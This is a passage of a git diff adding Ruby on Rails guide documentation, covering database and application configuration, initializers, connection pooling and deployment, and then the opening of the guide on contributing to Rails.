+postgresql://localhost/my_database
+```
+
+If you have a `config/database.yml` but no `ENV['DATABASE_URL']` then this file will be used to connect to your database:
+
+```
+$ cat config/database.yml
+development:
+  adapter: postgresql
+  database: my_database
+  host: localhost
+
+$ echo $DATABASE_URL
+```
+
+If you have both `config/database.yml` and `ENV['DATABASE_URL']` set then Rails will merge the configuration together. To better understand this we must see some examples.
+
+When duplicate connection information is provided the environment variable will take precedence:
+
+```
+$ cat config/database.yml
+development:
+  adapter: sqlite3
+  database: NOT_my_database
+  host: localhost
+
+$ echo $DATABASE_URL
+postgresql://localhost/my_database
+
+$ bin/rails runner 'puts ActiveRecord::Base.configurations'
+{"development"=>{"adapter"=>"postgresql", "host"=>"localhost", "database"=>"my_database"}}
+```
+
+Here the adapter, host, and database match the information in `ENV['DATABASE_URL']`.
+
+If non-duplicate information is provided you will get all unique values, environment variable still takes precedence in cases of any conflicts.
+
+```
+$ cat config/database.yml
+development:
+  adapter: sqlite3
+  pool: 5
+
+$ echo $DATABASE_URL
+postgresql://localhost/my_database
+
+$ bin/rails runner 'puts ActiveRecord::Base.configurations'
+{"development"=>{"adapter"=>"postgresql", "host"=>"localhost", "database"=>"my_database", "pool"=>5}}
+```
+
+Since pool is not in the `ENV['DATABASE_URL']` provided connection information its information is merged in. Since `adapter` is duplicate, the `ENV['DATABASE_URL']` connection information wins.
+
+The only way to explicitly not use the connection information in `ENV['DATABASE_URL']` is to specify an explicit URL connection using the `"url"` sub key:
+
+```
+$ cat config/database.yml
+development:
+  url: sqlite3:NOT_my_database
+
+$ echo $DATABASE_URL
+postgresql://localhost/my_database
+
+$ bin/rails runner 'puts ActiveRecord::Base.configurations'
+{"development"=>{"adapter"=>"sqlite3", "database"=>"NOT_my_database"}}
+```
+
+Here the connection information in `ENV['DATABASE_URL']` is ignored, note the different adapter and database name.
+
+Since it is possible to embed ERB in your `config/database.yml` it is best practice to explicitly show you are using the `ENV['DATABASE_URL']` to connect to your database. This is especially useful in production since you should not commit secrets like your database password into your source control (such as Git).
+
+```
+$ cat config/database.yml
+production:
+  url: <%= ENV['DATABASE_URL'] %>
+```
+
+Now the behavior is clear, that we are only using the connection information in `ENV['DATABASE_URL']`.
+
+#### Configuring an SQLite3 Database
+
+Rails comes with built-in support for [SQLite3](http://www.sqlite.org), which is a lightweight serverless database application. While a busy production environment may overload SQLite, it works well for development and testing. Rails defaults to using an SQLite database when creating a new project, but you can always change it later.
+
+Here's the section of the default configuration file (`config/database.yml`) with connection information for the development environment:
+
+```yaml
+development:
+  adapter: sqlite3
+  database: db/development.sqlite3
+  pool: 5
+  timeout: 5000
+```
+
+NOTE: Rails uses an SQLite3 database for data storage by default because it is a zero configuration database that just works. Rails also supports MySQL (including MariaDB) and PostgreSQL "out of the box", and has plugins for many database systems. If you are using a database in a production environment Rails most likely has an adapter for it.
+
+#### Configuring a MySQL or MariaDB Database
+
+If you choose to use MySQL or MariaDB instead of the shipped SQLite3 database, your `config/database.yml` will look a little different. Here's the development section:
+
+```yaml
+development:
+  adapter: mysql2
+  encoding: utf8
+  database: blog_development
+  pool: 5
+  username: root
+  password:
+  socket: /tmp/mysql.sock
+```
+
+If your development database has a root user with an empty password, this configuration should work for you. Otherwise, change the username and password in the `development` section as appropriate.
+
+#### Configuring a PostgreSQL Database
+
+If you choose to use PostgreSQL, your `config/database.yml` will be customized to use PostgreSQL databases:
+
+```yaml
+development:
+  adapter: postgresql
+  encoding: unicode
+  database: blog_development
+  pool: 5
+```
+
+Prepared Statements are enabled by default on PostgreSQL. You can disable prepared statements by setting `prepared_statements` to `false`:
+
+```yaml
+production:
+  adapter: postgresql
+  prepared_statements: false
+```
+
+If enabled, Active Record will create up to `1000` prepared statements per database connection by default. To modify this behavior you can set `statement_limit` to a different value:
+
+```
+production:
+  adapter: postgresql
+  statement_limit: 200
+```
+
+The more prepared statements in use: the more memory your database will require. If your PostgreSQL database is hitting memory limits, try lowering `statement_limit` or disabling prepared statements.
+
+#### Configuring an SQLite3 Database for JRuby Platform
+
+If you choose to use SQLite3 and are using JRuby, your `config/database.yml` will look a little different. Here's the development section:
+
+```yaml
+development:
+  adapter: jdbcsqlite3
+  database: db/development.sqlite3
+```
+
+#### Configuring a MySQL or MariaDB Database for JRuby Platform
+
+If you choose to use MySQL or MariaDB and are using JRuby, your `config/database.yml` will look a little different. Here's the development section:
+
+```yaml
+development:
+  adapter: jdbcmysql
+  database: blog_development
+  username: root
+  password:
+```
+
+#### Configuring a PostgreSQL Database for JRuby Platform
+
+If you choose to use PostgreSQL and are using JRuby, your `config/database.yml` will look a little different. Here's the development section:
+
+```yaml
+development:
+  adapter: jdbcpostgresql
+  encoding: unicode
+  database: blog_development
+  username: blog
+  password:
+```
+
+Change the username and password in the `development` section as appropriate.
+
+### Creating Rails Environments
+
+By default Rails ships with three environments: "development", "test", and "production". While these are sufficient for most use cases, there are circumstances when you want more environments.
+
+Imagine you have a server which mirrors the production environment but is only used for testing. Such a server is commonly called a "staging server". To define an environment called "staging" for this server, just create a file called `config/environments/staging.rb`. Please use the contents of any existing file in `config/environments` as a starting point and make the necessary changes from there.
+
+That environment is no different than the default ones, start a server with `rails server -e staging`, a console with `rails console staging`, `Rails.env.staging?` works, etc.
+
+
+### Deploy to a subdirectory (relative url root)
+
+By default Rails expects that your application is running at the root
+(eg. `/`). This section explains how to run your application inside a directory.
+
+Let's assume we want to deploy our application to "/app1". Rails needs to know
+this directory to generate the appropriate routes:
+
+```ruby
+config.relative_url_root = "/app1"
+```
+
+alternatively you can set the `RAILS_RELATIVE_URL_ROOT` environment
+variable.
+
+Rails will now prepend "/app1" when generating links.
+
+#### Using Passenger
+
+Passenger makes it easy to run your application in a subdirectory. You can find the relevant configuration in the [Passenger manual](https://www.phusionpassenger.com/library/deploy/apache/deploy/ruby/#deploying-an-app-to-a-sub-uri-or-subdirectory).
+
+#### Using a Reverse Proxy
+
+Deploying your application using a reverse proxy has definite advantages over traditional deploys. They allow you to have more control over your server by layering the components required by your application.
+
+Many modern web servers can be used as a proxy server to balance third-party elements such as caching servers or application servers.
+
+One such application server you can use is [Unicorn](http://unicorn.bogomips.org/) to run behind a reverse proxy.
+
+In this case, you would need to configure the proxy server (NGINX, Apache, etc) to accept connections from your application server (Unicorn). By default Unicorn will listen for TCP connections on port 8080, but you can change the port or configure it to use sockets instead.
+
+You can find more information in the [Unicorn readme](http://unicorn.bogomips.org/README.html) and understand the [philosophy](http://unicorn.bogomips.org/PHILOSOPHY.html) behind it.
+
+Once you've configured the application server, you must proxy requests to it by configuring your web server appropriately. For example your NGINX config may include:
+
+```
+upstream application_server {
+  server 0.0.0.0:8080
+}
+
+server {
+  listen 80;
+  server_name localhost;
+
+  root /root/path/to/your_app/public;
+
+  try_files $uri/index.html $uri.html @app;
+
+  location @app {
+    proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
+    proxy_set_header Host $http_host;
+    proxy_redirect off;
+    proxy_pass http://application_server;
+  }
+
+  # some other configuration
+}
+```
+
+Be sure to read the [NGINX documentation](http://nginx.org/en/docs/) for the most up-to-date information.
+
+
+Rails Environment Settings
+--------------------------
+
+Some parts of Rails can also be configured externally by supplying environment variables. The following environment variables are recognized by various parts of Rails:
+
+* `ENV["RAILS_ENV"]` defines the Rails environment (production, development, test, and so on) that Rails will run under.
+
+* `ENV["RAILS_RELATIVE_URL_ROOT"]` is used by the routing code to recognize URLs when you [deploy your application to a subdirectory](configuring.html#deploy-to-a-subdirectory-relative-url-root).
+
+* `ENV["RAILS_CACHE_ID"]` and `ENV["RAILS_APP_VERSION"]` are used to generate expanded cache keys in Rails' caching code. This allows you to have multiple separate caches from the same application.
+
+
+Using Initializer Files
+-----------------------
+
+After loading the framework and any gems in your application, Rails turns to loading initializers. An initializer is any Ruby file stored under `config/initializers` in your application. You can use initializers to hold configuration settings that should be made after all of the frameworks and gems are loaded, such as options to configure settings for these parts.
+
+NOTE: You can use subfolders to organize your initializers if you like, because Rails will look into the whole file hierarchy from the initializers folder on down.
+
+TIP: If you have any ordering dependency in your initializers, you can control the load order through naming. Initializer files are loaded in alphabetical order by their path. For example, `01_critical.rb` will be loaded before `02_normal.rb`.
+
+Initialization events
+---------------------
+
+Rails has 5 initialization events which can be hooked into (listed in the order that they are run):
+
+* `before_configuration`: This is run as soon as the application constant inherits from `Rails::Application`. The `config` calls are evaluated before this happens.
+
+* `before_initialize`: This is run directly before the initialization process of the application occurs with the `:bootstrap_hook` initializer near the beginning of the Rails initialization process.
+
+* `to_prepare`: Run after the initializers are run for all Railties (including the application itself), but before eager loading and the middleware stack is built. More importantly, will run upon every request in `development`, but only once (during boot-up) in `production` and `test`.
+
+* `before_eager_load`: This is run directly before eager loading occurs, which is the default behavior for the `production` environment and not for the `development` environment.
+
+* `after_initialize`: Run directly after the initialization of the application, after the application initializers in `config/initializers` are run.
+
+To define an event for these hooks, use the block syntax within a `Rails::Application`, `Rails::Railtie` or `Rails::Engine` subclass:
+
+```ruby
+module YourApp
+  class Application < Rails::Application
+    config.before_initialize do
+      # initialization code goes here
+    end
+  end
+end
+```
+
+Alternatively, you can also do it through the `config` method on the `Rails.application` object:
+
+```ruby
+Rails.application.config.before_initialize do
+  # initialization code goes here
+end
+```
+
+WARNING: Some parts of your application, notably routing, are not yet set up at the point where the `after_initialize` block is called.
+
+### `Rails::Railtie#initializer`
+
+Rails has several initializers that run on startup that are all defined by using the `initializer` method from `Rails::Railtie`. Here's an example of the `set_helpers_path` initializer from Action Controller:
+
+```ruby
+initializer "action_controller.set_helpers_path" do |app|
+  ActionController::Helpers.helpers_path = app.helpers_paths
+end
+```
+
+The `initializer` method takes three arguments with the first being the name for the initializer and the second being an options hash (not shown here) and the third being a block. The `:before` key in the options hash can be specified to specify which initializer this new initializer must run before, and the `:after` key will specify which initializer to run this initializer _after_.
+
+Initializers defined using the `initializer` method will be run in the order they are defined in, with the exception of ones that use the `:before` or `:after` methods.
+
+WARNING: You may put your initializer before or after any other initializer in the chain, as long as it is logical. Say you have 4 initializers called "one" through "four" (defined in that order) and you define "four" to go _before_ "four" but _after_ "three", that just isn't logical and Rails will not be able to determine your initializer order.
+
+The block argument of the `initializer` method is the instance of the application itself, and so we can access the configuration on it by using the `config` method as done in the example.
+
+Because `Rails::Application` inherits from `Rails::Railtie` (indirectly), you can use the `initializer` method in `config/application.rb` to define initializers for the application.
+
+### Initializers
+
+Below is a comprehensive list of all the initializers found in Rails in the order that they are defined (and therefore run in, unless otherwise stated).
+
+* `load_environment_hook`: Serves as a placeholder so that `:load_environment_config` can be defined to run before it.
+
+* `load_active_support`: Requires `active_support/dependencies` which sets up the basis for Active Support. Optionally requires `active_support/all` if `config.active_support.bare` is un-truthful, which is the default.
+
+* `initialize_logger`: Initializes the logger (an `ActiveSupport::Logger` object) for the application and makes it accessible at `Rails.logger`, provided that no initializer inserted before this point has defined `Rails.logger`.
+
+* `initialize_cache`: If `Rails.cache` isn't set yet, initializes the cache by referencing the value in `config.cache_store` and stores the outcome as `Rails.cache`. If this object responds to the `middleware` method, its middleware is inserted before `Rack::Runtime` in the middleware stack.
+
+* `set_clear_dependencies_hook`: This initializer - which runs only if `cache_classes` is set to `false` - uses `ActionDispatch::Callbacks.after` to remove the constants which have been referenced during the request from the object space so that they will be reloaded during the following request.
+
+* `initialize_dependency_mechanism`: If `config.cache_classes` is true, configures `ActiveSupport::Dependencies.mechanism` to `require` dependencies rather than `load` them.
+
+* `bootstrap_hook`: Runs all configured `before_initialize` blocks.
+
+* `i18n.callbacks`: In the development environment, sets up a `to_prepare` callback which will call `I18n.reload!` if any of the locales have changed since the last request. In production mode this callback will only run on the first request.
+
+* `active_support.deprecation_behavior`: Sets up deprecation reporting for environments, defaulting to `:log` for development, `:notify` for production and `:stderr` for test. If a value isn't set for `config.active_support.deprecation` then this initializer will prompt the user to configure this line in the current environment's `config/environments` file. Can be set to an array of values.
+
+* `active_support.initialize_time_zone`: Sets the default time zone for the application based on the `config.time_zone` setting, which defaults to "UTC".
+
+* `active_support.initialize_beginning_of_week`: Sets the default beginning of week for the application based on `config.beginning_of_week` setting, which defaults to `:monday`.
+
+* `active_support.set_configs`: Sets up Active Support by using the settings in `config.active_support` by `send`'ing the method names as setters to `ActiveSupport` and passing the values through.
+
+* `action_dispatch.configure`: Configures the `ActionDispatch::Http::URL.tld_length` to be set to the value of `config.action_dispatch.tld_length`.
+
+* `action_view.set_configs`: Sets up Action View by using the settings in `config.action_view` by `send`'ing the method names as setters to `ActionView::Base` and passing the values through.
+
+* `action_controller.assets_config`: Initializes the `config.actions_controller.assets_dir` to the app's public directory if not explicitly configured.
+
+* `action_controller.set_helpers_path`: Sets Action Controller's `helpers_path` to the application's `helpers_path`.
+
+* `action_controller.parameters_config`: Configures strong parameters options for `ActionController::Parameters`.
+
+* `action_controller.set_configs`: Sets up Action Controller by using the settings in `config.action_controller` by `send`'ing the method names as setters to `ActionController::Base` and passing the values through.
+
+* `action_controller.compile_config_methods`: Initializes methods for the config settings specified so that they are quicker to access.
+
+* `active_record.initialize_timezone`: Sets `ActiveRecord::Base.time_zone_aware_attributes` to `true`, as well as setting `ActiveRecord::Base.default_timezone` to UTC. When attributes are read from the database, they will be converted into the time zone specified by `Time.zone`.
+
+* `active_record.logger`: Sets `ActiveRecord::Base.logger` - if it's not already set - to `Rails.logger`.
+
+* `active_record.migration_error`: Configures middleware to check for pending migrations.
+
+* `active_record.check_schema_cache_dump`: Loads the schema cache dump if configured and available.
+
+* `active_record.warn_on_records_fetched_greater_than`: Enables warnings when queries return large numbers of records.
+
+* `active_record.set_configs`: Sets up Active Record by using the settings in `config.active_record` by `send`'ing the method names as setters to `ActiveRecord::Base` and passing the values through.
+
+* `active_record.initialize_database`: Loads the database configuration (by default) from `config/database.yml` and establishes a connection for the current environment.
+
+* `active_record.log_runtime`: Includes `ActiveRecord::Railties::ControllerRuntime` which is responsible for reporting the time taken by Active Record calls for the request back to the logger.
+
+* `active_record.set_reloader_hooks`: Resets all reloadable connections to the database if `config.cache_classes` is set to `false`.
+
+* `active_record.add_watchable_files`: Adds `schema.rb` and `structure.sql` files to watchable files.
+
+* `active_job.logger`: Sets `ActiveJob::Base.logger` - if it's not already set -
+  to `Rails.logger`.
+
+* `active_job.set_configs`: Sets up Active Job by using the settings in `config.active_job` by `send`'ing the method names as setters to `ActiveJob::Base` and passing the values through.
+
+* `action_mailer.logger`: Sets `ActionMailer::Base.logger` - if it's not already set - to `Rails.logger`.
+
+* `action_mailer.set_configs`: Sets up Action Mailer by using the settings in `config.action_mailer` by `send`'ing the method names as setters to `ActionMailer::Base` and passing the values through.
+
+* `action_mailer.compile_config_methods`: Initializes methods for the config settings specified so that they are quicker to access.
+
+* `set_load_path`: This initializer runs before `bootstrap_hook`. Adds paths specified by `config.load_paths` and all autoload paths to `$LOAD_PATH`.
+
+* `set_autoload_paths`: This initializer runs before `bootstrap_hook`. Adds all sub-directories of `app` and paths specified by `config.autoload_paths`, `config.eager_load_paths` and `config.autoload_once_paths` to `ActiveSupport::Dependencies.autoload_paths`.
+
+* `add_routing_paths`: Loads (by default) all `config/routes.rb` files (in the application and railties, including engines) and sets up the routes for the application.
+
+* `add_locales`: Adds the files in `config/locales` (from the application, railties and engines) to `I18n.load_path`, making available the translations in these files.
+
+* `add_view_paths`: Adds the directory `app/views` from the application, railties and engines to the lookup path for view files for the application.
+
+* `load_environment_config`: Loads the `config/environments` file for the current environment.
+
+* `prepend_helpers_path`: Adds the directory `app/helpers` from the application, railties and engines to the lookup path for helpers for the application.
+
+* `load_config_initializers`: Loads all Ruby files from `config/initializers` in the application, railties and engines. The files in this directory can be used to hold configuration settings that should be made after all of the frameworks are loaded.
+
+* `engines_blank_point`: Provides a point-in-initialization to hook into if you wish to do anything before engines are loaded. After this point, all railtie and engine initializers are run.
+
+* `add_generator_templates`: Finds templates for generators at `lib/templates` for the application, railties and engines and adds these to the `config.generators.templates` setting, which will make the templates available for all generators to reference.
+
+* `ensure_autoload_once_paths_as_subset`: Ensures that the `config.autoload_once_paths` only contains paths from `config.autoload_paths`. If it contains extra paths, then an exception will be raised.
+
+* `add_to_prepare_blocks`: The block for every `config.to_prepare` call in the application, a railtie or engine is added to the `to_prepare` callbacks for Action Dispatch which will be run per request in development, or before the first request in production.
+
+* `add_builtin_route`: If the application is running under the development environment then this will append the route for `rails/info/properties` to the application routes. This route provides the detailed information such as Rails and Ruby version for `public/index.html` in a default Rails application.
+
+* `build_middleware_stack`: Builds the middleware stack for the application, returning an object which has a `call` method which takes a Rack environment object for the request.
+
+* `eager_load!`: If `config.eager_load` is `true`, runs the `config.before_eager_load` hooks and then calls `eager_load!` which will load all `config.eager_load_namespaces`.
+
+* `finisher_hook`: Provides a hook for after the initialization of process of the application is complete, as well as running all the `config.after_initialize` blocks for the application, railties and engines.
+
+* `set_routes_reloader_hook`: Configures Action Dispatch to reload the routes file using `ActiveSupport::Callbacks.to_run`.
+
+* `disable_dependency_loading`: Disables the automatic dependency loading if the `config.eager_load` is set to `true`.
+
+Database pooling
+----------------
+
+Active Record database connections are managed by `ActiveRecord::ConnectionAdapters::ConnectionPool` which ensures that a connection pool synchronizes the amount of thread access to a limited number of database connections. This limit defaults to 5 and can be configured in `database.yml`.
+
+```ruby
+development:
+  adapter: sqlite3
+  database: db/development.sqlite3
+  pool: 5
+  timeout: 5000
+```
+
+Since the connection pooling is handled inside of Active Record by default, all application servers (Thin, Puma, Unicorn etc.) should behave the same. The database connection pool is initially empty. As demand for connections increases it will create them until it reaches the connection pool limit.
+
+Any one request will check out a connection the first time it requires access to the database. At the end of the request it will check the connection back in. This means that the additional connection slot will be available again for the next request in the queue.
+
+If you try to use more connections than are available, Active Record will block
+you and wait for a connection from the pool. If it cannot get a connection, a
+timeout error similar to that given below will be thrown.
+
+```ruby
+ActiveRecord::ConnectionTimeoutError - could not obtain a database connection within 5.000 seconds (waited 5.000 seconds)
+```
+
+If you get the above error, you might want to increase the size of the
+connection pool by incrementing the `pool` option in `database.yml`
+
+NOTE. If you are running in a multi-threaded environment, there could be a chance that several threads may be accessing multiple connections simultaneously. So depending on your current request load, you could very well have multiple threads contending for a limited number of connections.
+
+
+Custom configuration
+--------------------
+
+You can configure your own code through the Rails configuration object with
+custom configuration under either the `config.x` namespace, or `config` directly.
+The key difference between these two is that you should be using `config.x` if you
+are defining _nested_ configuration (ex: `config.x.nested.nested.hi`), and just
+`config` for _single level_ configuration (ex: `config.hello`).
+
+  ```ruby
+  config.x.payment_processing.schedule = :daily
+  config.x.payment_processing.retries  = 3
+  config.super_debugger = true
+  ```
+
+These configuration points are then available through the configuration object:
+
+  ```ruby
+  Rails.configuration.x.payment_processing.schedule # => :daily
+  Rails.configuration.x.payment_processing.retries  # => 3
+  Rails.configuration.x.payment_processing.not_set  # => nil
+  Rails.configuration.super_debugger                # => true
+  ```
+
+You can also use `Rails::Application.config_for` to load whole configuration files:
+
+  ```ruby
+  # config/payment.yml:
+  production:
+    environment: production
+    merchant_id: production_merchant_id
+    public_key:  production_public_key
+    private_key: production_private_key
+  development:
+    environment: sandbox
+    merchant_id: development_merchant_id
+    public_key:  development_public_key
+    private_key: development_private_key
+
+  # config/application.rb
+  module MyApp
+    class Application < Rails::Application
+      config.payment = config_for(:payment)
+    end
+  end
+  ```
+
+  ```ruby
+  Rails.configuration.payment['merchant_id'] # => production_merchant_id or development_merchant_id
+  ```
+
+Search Engines Indexing
+-----------------------
+
+Sometimes, you may want to prevent some pages of your application to be visible
+on search sites like Google, Bing, Yahoo or Duck Duck Go. The robots that index
+these sites will first analyze the `http://your-site.com/robots.txt` file to
+know which pages it is allowed to index.
+
+Rails creates this file for you inside the `/public` folder. By default, it allows
+search engines to index all pages of your application. If you want to block
+indexing on all pages of you application, use this:
+
+```
+User-agent: *
+Disallow: /
+```
+
+To block just specific pages, it's necessary to use a more complex syntax. Learn
+it on the [official documentation](http://www.robotstxt.org/robotstxt.html).
+
+Evented File System Monitor
+---------------------------
+
+If the [listen gem](https://github.com/guard/listen) is loaded Rails uses an
+evented file system monitor to detect changes when `config.cache_classes` is
+`false`:
+
+```ruby
+group :development do
+  gem 'listen', '>= 3.0.5', '< 3.2'
+end
+```
+
+Otherwise, in every request Rails walks the application tree to check if
+anything has changed.
+
+On Linux and macOS no additional gems are needed, but some are required
+[for *BSD](https://github.com/guard/listen#on-bsd) and
+[for Windows](https://github.com/guard/listen#on-windows).
+
+Note that [some setups are unsupported](https://github.com/guard/listen#issues--limitations).
diff --git a/guides/source/contributing_to_ruby_on_rails.md b/guides/source/contributing_to_ruby_on_rails.md
new file mode 100644
index 0000000000..2f2962a3e6
--- /dev/null
+++ b/guides/source/contributing_to_ruby_on_rails.md
@@ -0,0 +1,667 @@
+**DO NOT READ THIS FILE ON GITHUB, GUIDES ARE PUBLISHED ON http://guides.rubyonrails.org.**
+
+Contributing to Ruby on Rails
+=============================
+
+This guide covers ways in which _you_ can become a part of the ongoing development of Ruby on Rails.
+
+After reading this guide, you will know:
+
+* How to use GitHub to report issues.
+* How to clone master and run the test suite.
+* How to help resolve existing issues.
+* How to contribute to the Ruby on Rails documentation.
+* How to contribute to the Ruby on Rails code.
+
+Ruby on Rails is not "someone else's framework." Over the years, hundreds of people have contributed to Ruby on Rails ranging from a single character to massive architectural changes or significant documentation - all with the goal of making Ruby on Rails better for everyone. Even if you don't feel up to writing code or documentation yet, there are a variety of other ways that you can contribute, from reporting issues to testing patches.
+
+As mentioned in [Rails'
+README](https://github.com/rails/rails/blob/master/README.md), everyone interacting in Rails and its sub-projects' codebases, issue trackers, chat rooms, and mailing lists is expected to follow the Rails [code of conduct](http://rubyonrails.org/conduct/).
+
+--------------------------------------------------------------------------------
+
+Reporting an Issue
+------------------
+
+Ruby on Rails uses [GitHub Issue Tracking](https://github.com/rails/rails/issues) to track issues (primarily bugs and contributions of new code). If you've found a bug in Ruby on Rails, this is the place to start. You'll need to create a (free) GitHub account in order to submit an issue, to comment on them or to create pull requests.
+
+NOTE: Bugs in the most recent released version of Ruby on Rails are likely to get the most attention. Also, the Rails core team is always interested in feedback from those who can take the time to test _edge Rails_ (the code for the version of Rails that is currently under development). Later in this guide, you'll find out how to get edge Rails for testing.
+
+### Creating a Bug Report
+
+If you've found a problem in Ruby on Rails which is not a security risk, do a search on GitHub under [Issues](https://github.com/rails/rails/issues) in case it has already been reported. If you are unable to find any open GitHub issues addressing the problem you found, your next step will be to [open a new one](https://github.com/rails/rails/issues/new). (See the next section for reporting security issues.)
+
+Your issue report should contain a title and a clear description of the issue at the bare minimum. You should include as much relevant information as possible and should at least post a code sample that demonstrates the issue. It would be even better if you could include a unit test that shows how the expected behavior is not occurring. Your goal should be to make it easy for yourself - and others - to reproduce the bug and figure out a fix.
+
+Then, don't get your hopes up! Unless you have a "Code Red, Mission Critical, the World is Coming to an End" kind of bug, you're creating this issue report in the hope that others with the same problem will be able to collaborate with you on solving it. Do not expect that the issue report will automatically see any activity or that others will jump to fix it. Creating an issue like this is mostly to help yourself start on the path of fixing the problem and for others to confirm it with an "I'm having this problem too" comment.
+
+### Create an Executable Test Case
+
+Having a way to reproduce your issue will be very helpful for others to help confirm, investigate and ultimately fix your issue. You can do this by providing an executable test case. To make this process easier, we have prepared several bug report templates for you to use as a starting point:
+
+* Template for Active Record (models, database) issues: [gem](https://github.com/rails/rails/blob/master/guides/bug_report_templates/active_record_gem.rb) / [master](https://github.com/rails/rails/blob/master/guides/bug_report_templates/active_record_master.rb)
+* Template for testing Active Record (migration) issues: [gem](https://github.com/rails/rails/blob/master/guides/bug_report_templates/active_record_migrations_gem.rb) / [master](https://github.com/rails/rails/blob/master/guides/bug_report_templates/active_record_migrations_master.rb)
+* Template for Action Pack (controllers, routing) issues: [gem](https://github.com/rails/rails/blob/master/guides/bug_report_templates/action_controller_gem.rb) / [master](https://github.com/rails/rails/blob/master/guides/bug_report_templates/action_controller_master.rb)
+* Template for Active Job issues: [gem](https://github.com/rails/rails/blob/master/guides/bug_report_templates/active_job_gem.rb) / [master](https://github.com/rails/rails/blob/master/guides/bug_report_templates/active_job_master.rb)
+* Generic template for other issues: [gem](https://github.com/rails/rails/blob/master/guides/bug_report_templates/generic_gem.rb) / [master](https://github.com/rails/rails/blob/master/guides/bug_report_templates/generic_master.rb)
+
+These templates include the boilerplate code to set up a test case against either a released version of Rails (`*_gem.rb`) or edge Rails (`*_master.rb`).
+
+Simply copy the content of the appropriate template into a `.rb` file and make the necessary changes to demonstrate the issue. You can execute it by running `ruby the_file.rb` in your terminal. If all goes well, you should see your test case failing.
+
+You can then share your executable test case as a [gist](https://gist.github.com), or simply paste the content into the issue description.
+
+### Special Treatment for Security Issues
+
+WARNING: Please do not report security vulnerabilities with public GitHub issue reports. The [Rails security policy page](http://rubyonrails.org/security) details the procedure to follow for security issues.
+
+### What about Feature Requests?
+
+Please don't put "feature request" items into GitHub Issues. If there's a new
+feature that you want to see added to Ruby on Rails, you'll need to write the
+code yourself - or convince someone else to partner with you to write the code.
+Later in this guide, you'll find detailed instructions for proposing a patch to
+Ruby on Rails. If you enter a wish list item in GitHub Issues with no code, you
+can expect it to be marked "invalid" as soon as it's reviewed.
+
+Sometimes, the line between 'bug' and 'feature' is a hard one to draw.
+Generally, a feature is anything that adds new behavior, while a bug is
+anything that causes incorrect behavior. Sometimes,
+the core team will have to make a judgment call. That said, the distinction
+generally just affects which release your patch will get in to; we love feature
+submissions! They just won't get backported to maintenance branches.
+
+If you'd like feedback on an idea for a feature before doing the work to make
+a patch, please send an email to the [rails-core mailing
+list](https://groups.google.com/forum/?fromgroups#!forum/rubyonrails-core). You
+might get no response, which means that everyone is indifferent. You might find
+someone who's also interested in building that feature. You might get a "This
+won't be accepted." But it's the proper place to discuss new ideas. GitHub
+Issues are not a particularly good venue for the sometimes long and involved
+discussions new features require.
+
+
+Helping to Resolve Existing Issues
+----------------------------------
+
+As a next step beyond reporting issues, you can help the core team resolve existing issues. If you check the [issues list](https://github.com/rails/rails/issues) in GitHub Issues, you'll find lots of issues already requiring attention. What can you do for these? Quite a bit, actually:
+
+### Verifying Bug Reports
+
+For starters, it helps just to verify bug reports. Can you reproduce the reported issue on your own computer? If so, you can add a comment to the issue saying that you're seeing the same thing.
+
+If an issue is very vague, can you help narrow it down to something more specific? Maybe you can provide additional information to help reproduce a bug, or help by eliminating needless steps that aren't required to demonstrate the problem.
+
+If you find a bug report without a test, it's very useful to contribute a failing test. This is also a great way to get started exploring the source code: looking at the existing test files will teach you how to write more tests. New tests are best contributed in the form of a patch, as explained later on in the "Contributing to the Rails Code" section.
+
+Anything you can do to make bug reports more succinct or easier to reproduce helps folks trying to write code to fix those bugs - whether you end up writing the code yourself or not.
+
+### Testing Patches
+
+You can also help out by examining pull requests that have been submitted to Ruby on Rails via GitHub. In order to apply someone's changes, you need to first create a dedicated branch:
+
+```bash
+$ git checkout -b testing_branch
+```
+
+Then, you can use their remote branch to update your codebase. For example, let's say the GitHub user JohnSmith has forked and pushed to a topic branch "orange" located at https://github.com/JohnSmith/rails.
+
+```bash
+$ git remote add JohnSmith https://github.com/JohnSmith/rails.git
+$ git pull JohnSmith orange
+```
+
+After applying their branch, test it out! Here are some things to think about:
+
+* Does the change actually work?
+* Are you happy with the tests? Can you follow what they're testing? Are there any tests missing?
+* Does it have the proper documentation coverage? Should documentation elsewhere be updated?
+* Do you like the implementation? Can you think of a nicer or faster way to implement a part of their change?
+
+Once you're happy that the pull request contains a good change, comment on the GitHub issue indicating your approval. Your comment should indicate that you like the change and what you like about it. Something like:
+
+>I like the way you've restructured that code in generate_finder_sql - much nicer. The tests look good too.
+
+If your comment simply reads "+1", then odds are that other reviewers aren't going to take it too seriously. Show that you took the time to review the pull request.
+
+Contributing to the Rails Documentation
+---------------------------------------
+
+Ruby on Rails has two main sets of documentation: the guides, which help you
+learn about Ruby on Rails, and the API, which serves as a reference.
+
+You can help improve the Rails guides by making them more coherent, consistent or readable, adding missing information, correcting factual errors, fixing typos, or bringing them up to date with the latest edge Rails.
+
+To do so, open a pull request to [Rails](https://github.com/rails/rails) on GitHub.
+
+When working with documentation, please take into account the [API Documentation Guidelines](api_documentation_guidelines.html) and the [Ruby on Rails Guides Guidelines](ruby_on_rails_guides_guidelines.html).
+
+NOTE: To help our CI servers you should add [ci skip] to your documentation commit message to skip build on that commit. Please remember to use it for commits containing only documentation changes.
+
+Translating Rails Guides
+------------------------
+
+We are happy to have people volunteer to translate the Rails guides. Just follow these steps:
+
+* Fork https://github.com/rails/rails.
+* Add a source folder for your own language, for example: *guides/source/it-IT* for Italian.
+* Copy the contents of *guides/source* into your own language directory and translate them.
+* Do NOT translate the HTML files, as they are automatically generated.
+
+Note that translations are not submitted to the Rails repository. As detailed above, your work happens in a fork. This is so because in practice documentation maintenance via patches is only sustainable in English.
+
+To generate the guides in HTML format cd into the *guides* directory then run (eg. for it-IT):
+
+```bash
+$ bundle install
+$ bundle exec rake guides:generate:html GUIDES_LANGUAGE=it-IT
+```
+
+This will generate the guides in an *output* directory.
+
+NOTE: The instructions are for Rails > 4. The Redcarpet Gem doesn't work with JRuby.
+
+Translation efforts we know about (various versions):
+
+* **Italian**: [https://github.com/rixlabs/docrails](https://github.com/rixlabs/docrails)
+* **Spanish**: [http://wiki.github.com/gramos/docrails](http://wiki.github.com/gramos/docrails)
+* **Polish**: [https://github.com/apohllo/docrails/tree/master](https://github.com/apohllo/docrails/tree/master)
+* **French** : [https://github.com/railsfrance/docrails](https://github.com/railsfrance/docrails)
+* **Czech** : [https://github.com/rubyonrails-cz/docrails/tree/czech](https://github.com/rubyonrails-cz/docrails/tree/czech)
+* **Turkish** : [https://github.com/ujk/docrails/tree/master](https://github.com/ujk/docrails/tree/master)
